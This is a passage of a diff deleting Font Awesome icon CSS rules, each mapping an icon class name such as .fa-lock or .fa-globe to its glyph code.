- content: "\f06a"; }
-
-.fa-school-circle-xmark::before {
- content: "\e56d"; }
-
-.fa-arrow-right-from-bracket::before {
- content: "\f08b"; }
-
-.fa-sign-out::before {
- content: "\f08b"; }
-
-.fa-circle-chevron-down::before {
- content: "\f13a"; }
-
-.fa-chevron-circle-down::before {
- content: "\f13a"; }
-
-.fa-unlock-keyhole::before {
- content: "\f13e"; }
-
-.fa-unlock-alt::before {
- content: "\f13e"; }
-
-.fa-cloud-showers-heavy::before {
- content: "\f740"; }
-
-.fa-headphones-simple::before {
- content: "\f58f"; }
-
-.fa-headphones-alt::before {
- content: "\f58f"; }
-
-.fa-sitemap::before {
- content: "\f0e8"; }
-
-.fa-circle-dollar-to-slot::before {
- content: "\f4b9"; }
-
-.fa-donate::before {
- content: "\f4b9"; }
-
-.fa-memory::before {
- content: "\f538"; }
-
-.fa-road-spikes::before {
- content: "\e568"; }
-
-.fa-fire-burner::before {
- content: "\e4f1"; }
-
-.fa-flag::before {
- content: "\f024"; }
-
-.fa-hanukiah::before {
- content: "\f6e6"; }
-
-.fa-feather::before {
- content: "\f52d"; }
-
-.fa-volume-low::before {
- content: "\f027"; }
-
-.fa-volume-down::before {
- content: "\f027"; }
-
-.fa-comment-slash::before {
- content: "\f4b3"; }
-
-.fa-cloud-sun-rain::before {
- content: "\f743"; }
-
-.fa-compress::before {
- content: "\f066"; }
-
-.fa-wheat-awn::before {
- content: "\e2cd"; }
-
-.fa-wheat-alt::before {
- content: "\e2cd"; }
-
-.fa-ankh::before {
- content: "\f644"; }
-
-.fa-hands-holding-child::before {
- content: "\e4fa"; }
-
-.fa-asterisk::before {
- content: "\2a"; }
-
-.fa-square-check::before {
- content: "\f14a"; }
-
-.fa-check-square::before {
- content: "\f14a"; }
-
-.fa-peseta-sign::before {
- content: "\e221"; }
-
-.fa-heading::before {
- content: "\f1dc"; }
-
-.fa-header::before {
- content: "\f1dc"; }
-
-.fa-ghost::before {
- content: "\f6e2"; }
-
-.fa-list::before {
- content: "\f03a"; }
-
-.fa-list-squares::before {
- content: "\f03a"; }
-
-.fa-square-phone-flip::before {
- content: "\f87b"; }
-
-.fa-phone-square-alt::before {
- content: "\f87b"; }
-
-.fa-cart-plus::before {
- content: "\f217"; }
-
-.fa-gamepad::before {
- content: "\f11b"; }
-
-.fa-circle-dot::before {
- content: "\f192"; }
-
-.fa-dot-circle::before {
- content: "\f192"; }
-
-.fa-face-dizzy::before {
- content: "\f567"; }
-
-.fa-dizzy::before {
- content: "\f567"; }
-
-.fa-egg::before {
- content: "\f7fb"; }
-
-.fa-house-medical-circle-xmark::before {
- content: "\e513"; }
-
-.fa-campground::before {
- content: "\f6bb"; }
-
-.fa-folder-plus::before {
- content: "\f65e"; }
-
-.fa-futbol::before {
- content: "\f1e3"; }
-
-.fa-futbol-ball::before {
- content: "\f1e3"; }
-
-.fa-soccer-ball::before {
- content: "\f1e3"; }
-
-.fa-paintbrush::before {
- content: "\f1fc"; }
-
-.fa-paint-brush::before {
- content: "\f1fc"; }
-
-.fa-lock::before {
- content: "\f023"; }
-
-.fa-gas-pump::before {
- content: "\f52f"; }
-
-.fa-hot-tub-person::before {
- content: "\f593"; }
-
-.fa-hot-tub::before {
- content: "\f593"; }
-
-.fa-map-location::before {
- content: "\f59f"; }
-
-.fa-map-marked::before {
- content: "\f59f"; }
-
-.fa-house-flood-water::before {
- content: "\e50e"; }
-
-.fa-tree::before {
- content: "\f1bb"; }
-
-.fa-bridge-lock::before {
- content: "\e4cc"; }
-
-.fa-sack-dollar::before {
- content: "\f81d"; }
-
-.fa-pen-to-square::before {
- content: "\f044"; }
-
-.fa-edit::before {
- content: "\f044"; }
-
-.fa-car-side::before {
- content: "\f5e4"; }
-
-.fa-share-nodes::before {
- content: "\f1e0"; }
-
-.fa-share-alt::before {
- content: "\f1e0"; }
-
-.fa-heart-circle-minus::before {
- content: "\e4ff"; }
-
-.fa-hourglass-half::before {
- content: "\f252"; }
-
-.fa-hourglass-2::before {
- content: "\f252"; }
-
-.fa-microscope::before {
- content: "\f610"; }
-
-.fa-sink::before {
- content: "\e06d"; }
-
-.fa-bag-shopping::before {
- content: "\f290"; }
-
-.fa-shopping-bag::before {
- content: "\f290"; }
-
-.fa-arrow-down-z-a::before {
- content: "\f881"; }
-
-.fa-sort-alpha-desc::before {
- content: "\f881"; }
-
-.fa-sort-alpha-down-alt::before {
- content: "\f881"; }
-
-.fa-mitten::before {
- content: "\f7b5"; }
-
-.fa-person-rays::before {
- content: "\e54d"; }
-
-.fa-users::before {
- content: "\f0c0"; }
-
-.fa-eye-slash::before {
- content: "\f070"; }
-
-.fa-flask-vial::before {
- content: "\e4f3"; }
-
-.fa-hand::before {
- content: "\f256"; }
-
-.fa-hand-paper::before {
- content: "\f256"; }
-
-.fa-om::before {
- content: "\f679"; }
-
-.fa-worm::before {
- content: "\e599"; }
-
-.fa-house-circle-xmark::before {
- content: "\e50b"; }
-
-.fa-plug::before {
- content: "\f1e6"; }
-
-.fa-chevron-up::before {
- content: "\f077"; }
-
-.fa-hand-spock::before {
- content: "\f259"; }
-
-.fa-stopwatch::before {
- content: "\f2f2"; }
-
-.fa-face-kiss::before {
- content: "\f596"; }
-
-.fa-kiss::before {
- content: "\f596"; }
-
-.fa-bridge-circle-xmark::before {
- content: "\e4cb"; }
-
-.fa-face-grin-tongue::before {
- content: "\f589"; }
-
-.fa-grin-tongue::before {
- content: "\f589"; }
-
-.fa-chess-bishop::before {
- content: "\f43a"; }
-
-.fa-face-grin-wink::before {
- content: "\f58c"; }
-
-.fa-grin-wink::before {
- content: "\f58c"; }
-
-.fa-ear-deaf::before {
- content: "\f2a4"; }
-
-.fa-deaf::before {
- content: "\f2a4"; }
-
-.fa-deafness::before {
- content: "\f2a4"; }
-
-.fa-hard-of-hearing::before {
- content: "\f2a4"; }
-
-.fa-road-circle-check::before {
- content: "\e564"; }
-
-.fa-dice-five::before {
- content: "\f523"; }
-
-.fa-square-rss::before {
- content: "\f143"; }
-
-.fa-rss-square::before {
- content: "\f143"; }
-
-.fa-land-mine-on::before {
- content: "\e51b"; }
-
-.fa-i-cursor::before {
- content: "\f246"; }
-
-.fa-stamp::before {
- content: "\f5bf"; }
-
-.fa-stairs::before {
- content: "\e289"; }
-
-.fa-i::before {
- content: "\49"; }
-
-.fa-hryvnia-sign::before {
- content: "\f6f2"; }
-
-.fa-hryvnia::before {
- content: "\f6f2"; }
-
-.fa-pills::before {
- content: "\f484"; }
-
-.fa-face-grin-wide::before {
- content: "\f581"; }
-
-.fa-grin-alt::before {
- content: "\f581"; }
-
-.fa-tooth::before {
- content: "\f5c9"; }
-
-.fa-v::before {
- content: "\56"; }
-
-.fa-bangladeshi-taka-sign::before {
- content: "\e2e6"; }
-
-.fa-bicycle::before {
- content: "\f206"; }
-
-.fa-staff-snake::before {
- content: "\e579"; }
-
-.fa-rod-asclepius::before {
- content: "\e579"; }
-
-.fa-rod-snake::before {
- content: "\e579"; }
-
-.fa-staff-aesculapius::before {
- content: "\e579"; }
-
-.fa-head-side-cough-slash::before {
- content: "\e062"; }
-
-.fa-truck-medical::before {
- content: "\f0f9"; }
-
-.fa-ambulance::before {
- content: "\f0f9"; }
-
-.fa-wheat-awn-circle-exclamation::before {
- content: "\e598"; }
-
-.fa-snowman::before {
- content: "\f7d0"; }
-
-.fa-mortar-pestle::before {
- content: "\f5a7"; }
-
-.fa-road-barrier::before {
- content: "\e562"; }
-
-.fa-school::before {
- content: "\f549"; }
-
-.fa-igloo::before {
- content: "\f7ae"; }
-
-.fa-joint::before {
- content: "\f595"; }
-
-.fa-angle-right::before {
- content: "\f105"; }
-
-.fa-horse::before {
- content: "\f6f0"; }
-
-.fa-q::before {
- content: "\51"; }
-
-.fa-g::before {
- content: "\47"; }
-
-.fa-notes-medical::before {
- content: "\f481"; }
-
-.fa-temperature-half::before {
- content: "\f2c9"; }
-
-.fa-temperature-2::before {
- content: "\f2c9"; }
-
-.fa-thermometer-2::before {
- content: "\f2c9"; }
-
-.fa-thermometer-half::before {
- content: "\f2c9"; }
-
-.fa-dong-sign::before {
- content: "\e169"; }
-
-.fa-capsules::before {
- content: "\f46b"; }
-
-.fa-poo-storm::before {
- content: "\f75a"; }
-
-.fa-poo-bolt::before {
- content: "\f75a"; }
-
-.fa-face-frown-open::before {
- content: "\f57a"; }
-
-.fa-frown-open::before {
- content: "\f57a"; }
-
-.fa-hand-point-up::before {
- content: "\f0a6"; }
-
-.fa-money-bill::before {
- content: "\f0d6"; }
-
-.fa-bookmark::before {
- content: "\f02e"; }
-
-.fa-align-justify::before {
- content: "\f039"; }
-
-.fa-umbrella-beach::before {
- content: "\f5ca"; }
-
-.fa-helmet-un::before {
- content: "\e503"; }
-
-.fa-bullseye::before {
- content: "\f140"; }
-
-.fa-bacon::before {
- content: "\f7e5"; }
-
-.fa-hand-point-down::before {
- content: "\f0a7"; }
-
-.fa-arrow-up-from-bracket::before {
- content: "\e09a"; }
-
-.fa-folder::before {
- content: "\f07b"; }
-
-.fa-folder-blank::before {
- content: "\f07b"; }
-
-.fa-file-waveform::before {
- content: "\f478"; }
-
-.fa-file-medical-alt::before {
- content: "\f478"; }
-
-.fa-radiation::before {
- content: "\f7b9"; }
-
-.fa-chart-simple::before {
- content: "\e473"; }
-
-.fa-mars-stroke::before {
- content: "\f229"; }
-
-.fa-vial::before {
- content: "\f492"; }
-
-.fa-gauge::before {
- content: "\f624"; }
-
-.fa-dashboard::before {
- content: "\f624"; }
-
-.fa-gauge-med::before {
- content: "\f624"; }
-
-.fa-tachometer-alt-average::before {
- content: "\f624"; }
-
-.fa-wand-magic-sparkles::before {
- content: "\e2ca"; }
-
-.fa-magic-wand-sparkles::before {
- content: "\e2ca"; }
-
-.fa-e::before {
- content: "\45"; }
-
-.fa-pen-clip::before {
- content: "\f305"; }
-
-.fa-pen-alt::before {
- content: "\f305"; }
-
-.fa-bridge-circle-exclamation::before {
- content: "\e4ca"; }
-
-.fa-user::before {
- content: "\f007"; }
-
-.fa-school-circle-check::before {
- content: "\e56b"; }
-
-.fa-dumpster::before {
- content: "\f793"; }
-
-.fa-van-shuttle::before {
- content: "\f5b6"; }
-
-.fa-shuttle-van::before {
- content: "\f5b6"; }
-
-.fa-building-user::before {
- content: "\e4da"; }
-
-.fa-square-caret-left::before {
- content: "\f191"; }
-
-.fa-caret-square-left::before {
- content: "\f191"; }
-
-.fa-highlighter::before {
- content: "\f591"; }
-
-.fa-key::before {
- content: "\f084"; }
-
-.fa-bullhorn::before {
- content: "\f0a1"; }
-
-.fa-globe::before {
- content: "\f0ac"; }
-
-.fa-synagogue::before {
- content: "\f69b"; }
-
-.fa-person-half-dress::before {
- content: "\e548"; }
-
-.fa-road-bridge::before {
- content: "\e563"; }
-
-.fa-location-arrow::before {
- content: "\f124"; }
-
-.fa-c::before {
- content: "\43"; }
-
-.fa-tablet-button::before {
- content: "\f10a"; }
-
-.fa-building-lock::before {
- content: "\e4d6"; }
-
-.fa-pizza-slice::before {
- content: "\f818"; }
-
-.fa-money-bill-wave::before {
- content: "\f53a"; }
-
-.fa-chart-area::before {
- content: "\f1fe"; }
-
-.fa-area-chart::before {
- content: "\f1fe"; }
-
-.fa-house-flag::before {
- content: "\e50d"; }
-
-.fa-person-circle-minus::before {
- content: "\e540"; }
-
-.fa-ban::before {
- content: "\f05e"; }
-
-.fa-cancel::before {
- content: "\f05e"; }
-
-.fa-camera-rotate::before {
- content: "\e0d8"; }
-
-.fa-spray-can-sparkles::before {
- content: "\f5d0"; }
-
-.fa-air-freshener::before {
- content: "\f5d0"; }
-
-.fa-star::before {
- content: "\f005"; }
-
-.fa-repeat::before {
- content: "\f363"; }
-
-.fa-cross::before {
- content: "\f654"; }
-
-.fa-box::before {
- content: "\f466"; }
-
-.fa-venus-mars::before {
- content: "\f228"; }
-
-.fa-arrow-pointer::before {
- content: "\f245"; }
-
-.fa-mouse-pointer::before {
- content: "\f245"; }
-
-.fa-maximize::before {
- content: "\f31e"; }
-
-.fa-expand-arrows-alt::before {
- content: "\f31e"; }
-
-.fa-charging-station::before {
- content: "\f5e7"; }
-
-.fa-shapes::before {
- content: "\f61f"; }
-
-.fa-triangle-circle-square::before {
- content: "\f61f"; }
-
-.fa-shuffle::before {
- content: "\f074"; }
-
-.fa-random::before {
- content: "\f074"; }
-
-.fa-person-running::before {
- content: "\f70c"; }
-
-.fa-running::before {
- content: "\f70c"; }
-
-.fa-mobile-retro::before {
- content: "\e527"; }
-
-.fa-grip-lines-vertical::before {
- content: "\f7a5"; }
-
-.fa-spider::before {
- content: "\f717"; }
-
-.fa-hands-bound::before {
- content: "\e4f9"; }
-
-.fa-file-invoice-dollar::before {
- content: "\f571"; }
-
-.fa-plane-circle-exclamation::before {
- content: "\e556"; }
-
-.fa-x-ray::before {
- content: "\f497"; }
-
-.fa-spell-check::before {
- content: "\f891"; }
-
-.fa-slash::before {
- content: "\f715"; }
-
-.fa-computer-mouse::before {
- content: "\f8cc"; }
-
-.fa-mouse::before {
- content: "\f8cc"; }
-
-.fa-arrow-right-to-bracket::before {
- content: "\f090"; }
-
-.fa-sign-in::before {
- content: "\f090"; }
-
-.fa-shop-slash::before {
- content: "\e070"; }
-
-.fa-store-alt-slash::before {
- content: "\e070"; }
-
-.fa-server::before {
- content: "\f233"; }
-
-.fa-virus-covid-slash::before {
- content: "\e4a9"; }
-
-.fa-shop-lock::before {
- content: "\e4a5"; }
-
-.fa-hourglass-start::before {
- content: "\f251"; }
-
-.fa-hourglass-1::before {
- content: "\f251"; }
-
-.fa-blender-phone::before {
- content: "\f6b6"; }
-
-.fa-building-wheat::before {
- content: "\e4db"; }
-
-.fa-person-breastfeeding::before {
- content: "\e53a"; }
-
-.fa-right-to-bracket::before {
- content: "\f2f6"; }
-
-.fa-sign-in-alt::before {
- content: "\f2f6"; }
-
-.fa-venus::before {
- content: "\f221"; }
-
-.fa-passport::before {
- content: "\f5ab"; }
-
-.fa-heart-pulse::before {
- content: "\f21e"; }
-
-.fa-heartbeat::before {
- content: "\f21e"; }
-
-.fa-people-carry-box::before {
- content: "\f4ce"; }
-
-.fa-people-carry::before {
- content: "\f4ce"; }
-
-.fa-temperature-high::before {
- content: "\f769"; }
-
-.fa-microchip::before {
- content: "\f2db"; }
-
-.fa-crown::before {
- content: "\f521"; }
-
-.fa-weight-hanging::before {
- content: "\f5cd"; }
-
-.fa-xmarks-lines::before {
- content: "\e59a"; }
-
-.fa-file-prescription::before {
- content: "\f572"; }
-
-.fa-weight-scale::before {
- content: "\f496"; }
-
-.fa-weight::before {
- content: "\f496"; }
-
-.fa-user-group::before {
- content: "\f500"; }
-
-.fa-user-friends::before {
- content: "\f500"; }
-
-.fa-arrow-up-a-z::before {
- content: "\f15e"; }
-
-.fa-sort-alpha-up::before {
- content: "\f15e"; }
-
-.fa-chess-knight::before {
- content: "\f441"; }
-
-.fa-face-laugh-squint::before {
- content: "\f59b"; }
-
-.fa-laugh-squint::before {
- content: "\f59b"; }
-
-.fa-wheelchair::before {
- content: "\f193"; }
-
-.fa-circle-arrow-up::before {
- content: "\f0aa"; }
-
-.fa-arrow-circle-up::before {
- content: "\f0aa"; }
-
-.fa-toggle-on::before {
- content: "\f205"; }
-
-.fa-person-walking::before {
- content: "\f554"; }
-
-.fa-walking::before {
- content: "\f554"; }
-
-.fa-l::before {
- content: "\4c"; }
-
-.fa-fire::before {
- content: "\f06d"; }
-
-.fa-bed-pulse::before {
- content: "\f487"; }
-
-.fa-procedures::before {
- content: "\f487"; }
-
-.fa-shuttle-space::before {
- content: "\f197"; }
-
-.fa-space-shuttle::before {
- content: "\f197"; }
-
-.fa-face-laugh::before {
- content: "\f599"; }
-
-.fa-laugh::before {
- content: "\f599"; }
-
-.fa-folder-open::before {
- content: "\f07c"; }
-
-.fa-heart-circle-plus::before {
- content: "\e500"; }
-
-.fa-code-fork::before {
- content: "\e13b"; }
-
-.fa-city::before {
- content: "\f64f"; }
-
-.fa-microphone-lines::before {
- content: "\f3c9"; }
-
-.fa-microphone-alt::before {
- content: "\f3c9"; }
-
-.fa-pepper-hot::before {
- content: "\f816"; }
-
-.fa-unlock::before {
- content: "\f09c"; }
-
-.fa-colon-sign::before {
- content: "\e140"; }
-
-.fa-headset::before {
- content: "\f590"; }
-
-.fa-store-slash::before {
- content: "\e071"; }
-
-.fa-road-circle-xmark::before {
- content: "\e566"; }
-
-.fa-user-minus::before {
- content: "\f503"; }
-
-.fa-mars-stroke-up::before {
- content: "\f22a"; }
-
-.fa-mars-stroke-v::before {
- content: "\f22a"; }
-
-.fa-champagne-glasses::before {
- content: "\f79f"; }
-
-.fa-glass-cheers::before {
- content: "\f79f"; }
-
-.fa-clipboard::before {
- content: "\f328"; }
-
-.fa-house-circle-exclamation::before {
- content: "\e50a"; }
-
-.fa-file-arrow-up::before {
- content: "\f574"; }
-
-.fa-file-upload::before {
- content: "\f574"; }
-
-.fa-wifi::before {
- content: "\f1eb"; }
-
-.fa-wifi-3::before {
- content: "\f1eb"; }
-
-.fa-wifi-strong::before {
- content: "\f1eb"; }
-
-.fa-bath::before {
- content: "\f2cd"; }
-
-.fa-bathtub::before {
- content: "\f2cd"; }
-
-.fa-underline::before {
- content: "\f0cd"; }
-
-.fa-user-pen::before {
- content: "\f4ff"; }
-
-.fa-user-edit::before {
- content: "\f4ff"; }
-
-.fa-signature::before {
- content: "\f5b7"; }
-
-.fa-stroopwafel::before {
- content: "\f551"; }
-
-.fa-bold::before {
- content: "\f032"; }
-
-.fa-anchor-lock::before {
- content: "\e4ad"; }
-
-.fa-building-ngo::before {
- content: "\e4d7"; }
-
-.fa-manat-sign::before {
- content: "\e1d5"; }
-
-.fa-not-equal::before {
- content: "\f53e"; }
-
-.fa-border-top-left::before {
- content: "\f853"; }
-
-.fa-border-style::before {
- content: "\f853"; }
-
-.fa-map-location-dot::before {
- content: "\f5a0"; }
-
-.fa-map-marked-alt::before {
- content: "\f5a0"; }
-
-.fa-jedi::before {
- content: "\f669"; }
-
-.fa-square-poll-vertical::before {
- content: "\f681"; }
-
-.fa-poll::before {
- content: "\f681"; }
-
-.fa-mug-hot::before {
- content: "\f7b6"; }
-
-.fa-car-battery::before {
- content: "\f5df"; }
-
-.fa-battery-car::before {
- content: "\f5df"; }
-
-.fa-gift::before {
- content: "\f06b"; }
-
-.fa-dice-two::before {
- content: "\f528"; }
-
-.fa-chess-queen::before {
- content: "\f445"; }
-
-.fa-glasses::before {
- content: "\f530"; }
-
-.fa-chess-board::before {
- content: "\f43c"; }
-
-.fa-building-circle-check::before {
- content: "\e4d2"; }
-
-.fa-person-chalkboard::before {
- content: "\e53d"; }
-
-.fa-mars-stroke-right::before {
- content: "\f22b"; }
-
-.fa-mars-stroke-h::before {
- content: "\f22b"; }
-
-.fa-hand-back-fist::before {
- content: "\f255"; }
-
-.fa-hand-rock::before {
- content: "\f255"; }
-
-.fa-square-caret-up::before {
- content: "\f151"; }
-
-.fa-caret-square-up::before {
- content: "\f151"; }
-
-.fa-cloud-showers-water::before {
- content: "\e4e4"; }
-
-.fa-chart-bar::before {
- content: "\f080"; }
-
-.fa-bar-chart::before {
- content: "\f080"; }
-
-.fa-hands-bubbles::before {
- content: "\e05e"; }
-
-.fa-hands-wash::before {
- content: "\e05e"; }
-
-.fa-less-than-equal::before {
- content: "\f537"; }
-
-.fa-train::before {
- content: "\f238"; }
-
-.fa-eye-low-vision::before {
- content: "\f2a8"; }
-
-.fa-low-vision::before {
- content: "\f2a8"; }
-
-.fa-crow::before {
- content: "\f520"; }
-
-.fa-sailboat::before {
- content: "\e445"; }
-
-.fa-window-restore::before {
- content: "\f2d2"; }
-
-.fa-square-plus::before {
- content: "\f0fe"; }
-
-.fa-plus-square::before {
- content: "\f0fe"; }
-
-.fa-torii-gate::before {
- content: "\f6a1"; }
-
-.fa-frog::before {
- content: "\f52e"; }
-
-.fa-bucket::before {
- content: "\e4cf"; }
-
-.fa-image::before {
- content: "\f03e"; }
-
-.fa-microphone::before {
- content: "\f130"; }
-
-.fa-cow::before {
- content: "\f6c8"; }
-
-.fa-caret-up::before {
- content: "\f0d8"; }
-
-.fa-screwdriver::before {
- content: "\f54a"; }
-
-.fa-folder-closed::before {
- content: "\e185"; }
-
-.fa-house-tsunami::before {
- content: "\e515"; }
-
-.fa-square-nfi::before {
- content: "\e576"; }
-
-.fa-arrow-up-from-ground-water::before {
- content: "\e4b5"; }
-
-.fa-martini-glass::before {
- content: "\f57b"; }
-
-.fa-glass-martini-alt::before {
- content: "\f57b"; }
-
-.fa-rotate-left::before {
- content: "\f2ea"; }
-
-.fa-rotate-back::before {
- content: "\f2ea"; }
-
-.fa-rotate-backward::before {
- content: "\f2ea"; }
-
-.fa-undo-alt::before {
- content: "\f2ea"; }
-
-.fa-table-columns::before {
- content: "\f0db"; }
-
-.fa-columns::before {
- content: "\f0db"; }
-
-.fa-lemon::before {
- content: "\f094"; }
-
-.fa-head-side-mask::before {
- content: "\e063"; }
-
-.fa-handshake::before {
- content: "\f2b5"; }
-
-.fa-gem::before {
- content: "\f3a5"; }
-
-.fa-dolly::before {
- content: "\f472"; }
-
-.fa-dolly-box::before {
- content: "\f472"; }
-
-.fa-smoking::before {
- content: "\f48d"; }
-
-.fa-minimize::before {
- content: "\f78c"; }
-
-.fa-compress-arrows-alt::before {
- content: "\f78c"; }
-
-.fa-monument::before {
- content: "\f5a6"; }
-
-.fa-snowplow::before {
- content: "\f7d2"; }
-
-.fa-angles-right::before {
- content: "\f101"; }
-
-.fa-angle-double-right::before {
- content: "\f101"; }
-
-.fa-cannabis::before {
- content: "\f55f"; }
-
-.fa-circle-play::before {
- content: "\f144"; }
-
-.fa-play-circle::before {
- content: "\f144"; }
-
-.fa-tablets::before {
- content: "\f490"; }
-
-.fa-ethernet::before {
- content: "\f796"; }
-
-.fa-euro-sign::before {
- content: "\f153"; }
-
-.fa-eur::before {
- content: "\f153"; }
-
-.fa-euro::before {
- content: "\f153"; }
-
-.fa-chair::before {
- content: "\f6c0"; }
-
-.fa-circle-check::before {
- content: "\f058"; }
-
-.fa-check-circle::before {
- content: "\f058"; }
-
-.fa-circle-stop::before {
- content: "\f28d"; }
-
-.fa-stop-circle::before {
- content: "\f28d"; }
-
-.fa-compass-drafting::before {
- content: "\f568"; }
-
-.fa-drafting-compass::before {
- content: "\f568"; }
-
-.fa-plate-wheat::before {
- content: "\e55a"; }
-
-.fa-icicles::before {
- content: "\f7ad"; }
-
-.fa-person-shelter::before {
- content: "\e54f"; }
-
-.fa-neuter::before {
- content: "\f22c"; }
-
-.fa-id-badge::before {
- content: "\f2c1"; }
-
-.fa-marker::before {
- content: "\f5a1"; }
-
-.fa-face-laugh-beam::before {
- content: "\f59a"; }
-
-.fa-laugh-beam::before {
- content: "\f59a"; }
-
-.fa-helicopter-symbol::before {
- content: "\e502"; }
-
-.fa-universal-access::before {
- content: "\f29a"; }
-
-.fa-circle-chevron-up::before {
- content: "\f139"; }
-
-.fa-chevron-circle-up::before {
- content: "\f139"; }
-
-.fa-lari-sign::before {
- content: "\e1c8"; }
-
-.fa-volcano::before {
- content: "\f770"; }
-
-.fa-person-walking-dashed-line-arrow-right::before {
- content: "\e553"; }
-
-.fa-sterling-sign::before {
- content: "\f154"; }
-
-.fa-gbp::before {
- content: "\f154"; }
-
-.fa-pound-sign::before {
- content: "\f154"; }
-
-.fa-viruses::before {
- content: "\e076"; }
-
-.fa-square-person-confined::before {
- content: "\e577"; }
-
-.fa-user-tie::before {
- content: "\f508"; }
-
-.fa-arrow-down-long::before {
- content: "\f175"; }
-
-.fa-long-arrow-down::before {
- content: "\f175"; }
-
-.fa-tent-arrow-down-to-line::before {
- content: "\e57e"; }
-
-.fa-certificate::before {
- content: "\f0a3"; }
-
-.fa-reply-all::before {
- content: "\f122"; }
-
-.fa-mail-reply-all::before {
- content: "\f122"; }
-
-.fa-suitcase::before {
- content: "\f0f2"; }
-
-.fa-person-skating::before {
- content: "\f7c5"; }
-
-.fa-skating::before {
- content: "\f7c5"; }
-
-.fa-filter-circle-dollar::before {
- content: "\f662"; }
-
-.fa-funnel-dollar::before {
- content: "\f662"; }
-
-.fa-camera-retro::before {
- content: "\f083"; }
-
-.fa-circle-arrow-down::before {
- content: "\f0ab"; }
-
-.fa-arrow-circle-down::before {
- content: "\f0ab"; }
-
-.fa-file-import::before {
- content: "\f56f"; }
-
-.fa-arrow-right-to-file::before {
- content: "\f56f"; }
-
-.fa-square-arrow-up-right::before {
- content: "\f14c"; }
-
-.fa-external-link-square::before {
- content: "\f14c"; }
-
-.fa-box-open::before {
- content: "\f49e"; }
-
-.fa-scroll::before {
- content: "\f70e"; }
-
-.fa-spa::before {
- content: "\f5bb"; }
-
-.fa-location-pin-lock::before {
- content: "\e51f"; }
-
-.fa-pause::before {
- content: "\f04c"; }
-
-.fa-hill-avalanche::before {
- content: "\e507"; }
-
-.fa-temperature-empty::before {
- content: "\f2cb"; }
-
-.fa-temperature-0::before {
- content: "\f2cb"; }
-
-.fa-thermometer-0::before {
- content: "\f2cb"; }
-
-.fa-thermometer-empty::before {
- content: "\f2cb"; }
-
-.fa-bomb::before {
- content: "\f1e2"; }
-
-.fa-registered::before {
- content: "\f25d"; }
-
-.fa-address-card::before {
- content: "\f2bb"; }
-
-.fa-contact-card::before {
- content: "\f2bb"; }
-
-.fa-vcard::before {
- content: "\f2bb"; }
-
-.fa-scale-unbalanced-flip::before {
- content: "\f516"; }
-
-.fa-balance-scale-right::before {
- content: "\f516"; }
-
-.fa-subscript::before {
- content: "\f12c"; }
-
-.fa-diamond-turn-right::before {
- content: "\f5eb"; }
-
-.fa-directions::before {
- content: "\f5eb"; }
-
-.fa-burst::before {
- content: "\e4dc"; }
-
-.fa-house-laptop::before {
- content: "\e066"; }
-
-.fa-laptop-house::before {
- content: "\e066"; }
-
-.fa-face-tired::before {
- content: "\f5c8"; }
-
-.fa-tired::before {
- content: "\f5c8"; }
-
-.fa-money-bills::before {
- content: "\e1f3"; }
-
-.fa-smog::before {
- content: "\f75f"; }
-
-.fa-crutch::before {
- content: "\f7f7"; }
-
-.fa-cloud-arrow-up::before {
- content: "\f0ee"; }
-
-.fa-cloud-upload::before {
- content: "\f0ee"; }
-
-.fa-cloud-upload-alt::before {
- content: "\f0ee"; }
-
-.fa-palette::before {
- content: "\f53f"; }
-
-.fa-arrows-turn-right::before {
- content: "\e4c0"; }
-
-.fa-vest::before {
- content: "\e085"; }
-
-.fa-ferry::before {
- content: "\e4ea"; }
-
-.fa-arrows-down-to-people::before {
- content: "\e4b9"; }
-
-.fa-seedling::before {
- content: "\f4d8"; }
-
-.fa-sprout::before {
- content: "\f4d8"; }
-
-.fa-left-right::before {
- content: "\f337"; }
-
-.fa-arrows-alt-h::before {
- content: "\f337"; }
-
-.fa-boxes-packing::before {
- content: "\e4c7"; }
-
-.fa-circle-arrow-left::before {
- content: "\f0a8"; }
-
-.fa-arrow-circle-left::before {
- content: "\f0a8"; }
-
-.fa-group-arrows-rotate::before {
- content: "\e4f6"; }
-
-.fa-bowl-food::before {
- content: "\e4c6"; }
-
-.fa-candy-cane::before {
- content: "\f786"; }
-
-.fa-arrow-down-wide-short::before {
- content: "\f160"; }
-
-.fa-sort-amount-asc::before {
- content: "\f160"; }
-
-.fa-sort-amount-down::before {
- content: "\f160"; }
-
-.fa-cloud-bolt::before {
- content: "\f76c"; }
-
-.fa-thunderstorm::before {
- content: "\f76c"; }
-
-.fa-text-slash::before {
- content: "\f87d"; }
-
-.fa-remove-format::before {
- content: "\f87d"; }
-
-.fa-face-smile-wink::before {
- content: "\f4da"; }
-
-.fa-smile-wink::before {
- content: "\f4da"; }
-
-.fa-file-word::before {
- content: "\f1c2"; }
-
-.fa-file-powerpoint::before {
- content: "\f1c4"; }
-
-.fa-arrows-left-right::before {
- content: "\f07e"; }
-
-.fa-arrows-h::before {
- content: "\f07e"; }
-
-.fa-house-lock::before {
- content: "\e510"; }
-
-.fa-cloud-arrow-down::before {
- content: "\f0ed"; }
-
-.fa-cloud-download::before {
- content: "\f0ed"; }
-
-.fa-cloud-download-alt::before {
- content: "\f0ed"; }
-
-.fa-children::before {
- content: "\e4e1"; }
-
-.fa-chalkboard::before {
- content: "\f51b"; }
-
-.fa-blackboard::before {
- content: "\f51b"; }
-
-.fa-user-large-slash::before {
- content: "\f4fa"; }
-
-.fa-user-alt-slash::before {
- content: "\f4fa"; }
-
-.fa-envelope-open::before {
- content: "\f2b6"; }
-
-.fa-handshake-simple-slash::before {
- content: "\e05f"; }
-
-.fa-handshake-alt-slash::before {
- content: "\e05f"; }
-
-.fa-mattress-pillow::before {
- content: "\e525"; }
-
-.fa-guarani-sign::before {
- content: "\e19a"; }
-
-.fa-arrows-rotate::before {
- content: "\f021"; }
-
-.fa-refresh::before {
- content: "\f021"; }
-
-.fa-sync::before {
- content: "\f021"; }
-
-.fa-fire-extinguisher::before {
- content: "\f134"; }
-
-.fa-cruzeiro-sign::before {
- content: "\e152"; }
-
-.fa-greater-than-equal::before {
- content: "\f532"; }
-
-.fa-shield-halved::before {
- content: "\f3ed"; }
-
-.fa-shield-alt::before {
- content: "\f3ed"; }
-
-.fa-book-atlas::before {
- content: "\f558"; }
-
-.fa-atlas::before {
- content: "\f558"; }
-
-.fa-virus::before {
- content: "\e074"; }
-
-.fa-envelope-circle-check::before {
- content: "\e4e8"; }
-
-.fa-layer-group::before {
- content: "\f5fd"; }
-
-.fa-arrows-to-dot::before {
- content: "\e4be"; }
-
-.fa-archway::before {
- content: "\f557"; }
-
-.fa-heart-circle-check::before {
- content: "\e4fd"; }
-
-.fa-house-chimney-crack::before {
- content: "\f6f1"; }
-
-.fa-house-damage::before {
